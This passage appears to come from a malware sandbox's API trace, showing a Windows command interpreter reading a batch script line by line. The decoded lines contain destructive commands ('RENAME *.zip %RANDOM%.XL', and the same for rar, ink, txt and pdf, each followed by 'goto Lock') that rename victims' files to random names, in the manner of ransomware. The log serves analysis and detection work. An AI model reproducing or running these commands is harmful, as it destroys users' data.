lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.896] SetFilePointer (in: hFile=0x74, lDistanceToMove=1158, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x486 [0039.896] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.zip %RANDOM%.XL\r\n") returned 26 [0039.896] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.896] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x486 [0039.896] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.896] GetFileType (hFile=0x74) returned 0x1 [0039.896] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x486 [0039.896] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.896] SetFilePointer (in: hFile=0x74, lDistanceToMove=1169, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x491 [0039.896] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\np %RANDOM%.XL\r\n") returned 11 [0039.896] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.896] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x491 [0039.897] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.897] GetFileType (hFile=0x74) returned 0x1 [0039.897] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x491 [0039.897] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.897] SetFilePointer (in: hFile=0x74, lDistanceToMove=1171, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x493 [0039.897] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.897] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.897] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x493 [0039.897] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.897] GetFileType (hFile=0x74) returned 0x1 [0039.897] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x493 [0039.897] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.897] SetFilePointer (in: hFile=0x74, lDistanceToMove=1177, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x499 [0039.897] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":rar\r\nock\r\n") returned 6 [0039.897] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.897] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x499 [0039.897] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.897] GetFileType (hFile=0x74) returned 0x1 [0039.898] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x499 [0039.898] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.898] SetFilePointer (in: hFile=0x74, lDistanceToMove=1179, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x49b [0039.898] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nar\r\n") returned 2 [0039.898] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.898] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x49b [0039.898] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.898] GetFileType (hFile=0x74) returned 0x1 [0039.898] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x49b [0039.898] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.898] SetFilePointer (in: hFile=0x74, lDistanceToMove=1205, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4b5 [0039.898] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.rar %RANDOM%.XL\r\n") returned 26 [0039.898] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.898] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4b5 [0039.898] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.898] GetFileType (hFile=0x74) returned 0x1 [0039.898] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4b5 [0039.899] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.899] SetFilePointer (in: hFile=0x74, lDistanceToMove=1207, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4b7 [0039.899] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.rar %RANDOM%.XL\r\n") returned 2 [0039.899] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.899] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4b7 [0039.899] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.899] GetFileType (hFile=0x74) returned 0x1 [0039.899] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4b7 [0039.899] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.899] SetFilePointer (in: hFile=0x74, lDistanceToMove=1218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4c2 [0039.899] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nr %RANDOM%.XL\r\n") returned 11 [0039.899] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.899] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4c2 [0039.899] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.899] GetFileType (hFile=0x74) returned 0x1 [0039.899] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4c2 [0039.899] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.900] SetFilePointer (in: hFile=0x74, lDistanceToMove=1220, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4c4 [0039.900] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.900] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.900] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4c4 [0039.900] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.900] GetFileType (hFile=0x74) returned 0x1 [0039.900] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4c4 [0039.900] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.900] SetFilePointer (in: hFile=0x74, lDistanceToMove=1226, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4ca [0039.900] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":ink\r\nock\r\n") returned 6 [0039.900] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.900] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4ca [0039.900] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.900] GetFileType (hFile=0x74) returned 0x1 [0039.900] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4ca [0039.900] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.900] SetFilePointer (in: hFile=0x74, lDistanceToMove=1228, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4cc [0039.900] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nnk\r\n") returned 2 [0039.901] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.901] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4cc [0039.901] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.901] GetFileType (hFile=0x74) returned 0x1 [0039.901] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4cc [0039.901] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.901] SetFilePointer (in: hFile=0x74, lDistanceToMove=1254, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e6 [0039.901] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.ink %RANDOM%.XL\r\n") returned 26 [0039.901] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.901] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e6 [0039.901] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.901] GetFileType (hFile=0x74) returned 0x1 [0039.901] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e6 [0039.901] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.901] SetFilePointer (in: hFile=0x74, lDistanceToMove=1265, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4f1 [0039.901] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nk %RANDOM%.XL\r\n") returned 11 [0039.901] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.901] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f1 [0039.902] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.902] GetFileType (hFile=0x74) returned 0x1 [0039.902] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f1 [0039.902] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.902] SetFilePointer (in: hFile=0x74, lDistanceToMove=1267, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4f3 [0039.902] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.902] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.902] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f3 [0039.902] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.902] GetFileType (hFile=0x74) returned 0x1 [0039.902] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f3 [0039.902] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.902] SetFilePointer (in: hFile=0x74, lDistanceToMove=1273, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4f9 [0039.902] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":txt\r\nock\r\n") returned 6 [0039.902] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.902] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f9 [0039.902] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.903] GetFileType (hFile=0x74) returned 0x1 [0039.903] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f9 [0039.903] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.903] SetFilePointer (in: hFile=0x74, lDistanceToMove=1275, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4fb [0039.903] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nxt\r\n") returned 2 [0039.903] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.903] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4fb [0039.903] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.903] GetFileType (hFile=0x74) returned 0x1 [0039.903] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4fb [0039.903] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.903] SetFilePointer (in: hFile=0x74, lDistanceToMove=1301, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x515 [0039.903] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.txt %RANDOM%.XL\r\n") returned 26 [0039.903] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.903] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x515 [0039.903] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.903] GetFileType (hFile=0x74) returned 0x1 [0039.903] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x515 [0039.904] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.904] SetFilePointer (in: hFile=0x74, lDistanceToMove=1312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x520 [0039.904] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nt %RANDOM%.XL\r\n") returned 11 [0039.904] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.904] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x520 [0039.904] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.904] GetFileType (hFile=0x74) returned 0x1 [0039.904] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x520 [0039.904] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.904] SetFilePointer (in: hFile=0x74, lDistanceToMove=1314, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x522 [0039.904] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.904] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.904] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x522 [0039.904] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.904] GetFileType (hFile=0x74) returned 0x1 [0039.904] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x522 [0039.904] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.905] SetFilePointer (in: hFile=0x74, lDistanceToMove=1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x528 [0039.905] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":pdf\r\nock\r\n") returned 6 [0039.905] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.905] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x528 [0039.905] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.905] GetFileType (hFile=0x74) returned 0x1 [0039.905] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x528 [0039.905] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.905] SetFilePointer (in: hFile=0x74, lDistanceToMove=1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x52a [0039.905] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ndf\r\n") returned 2 [0039.905] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.905] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x52a [0039.905] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.905] GetFileType (hFile=0x74) returned 0x1 [0039.905] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x52a [0039.905] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.905] SetFilePointer (in: hFile=0x74, lDistanceToMove=1348, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x544 [0039.906] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.pdf %RANDOM%.XL\r\n") returned 26 [0039.906] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.906] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x544 [0039.906] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.906] GetFileType (hFile=0x74) returned 0x1 [0039.906] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x544 [0039.906] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.906] SetFilePointer (in: hFile=0x74, lDistanceToMove=1359, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x54f [0039.906] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n") returned 11 [0039.906] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.906] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x54f [0039.906] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.906] GetFileType (hFile=0x74) returned 0x1 [0039.906] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x54f [0039.906] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.906] SetFilePointer (in: hFile=0x74, lDistanceToMove=1361, 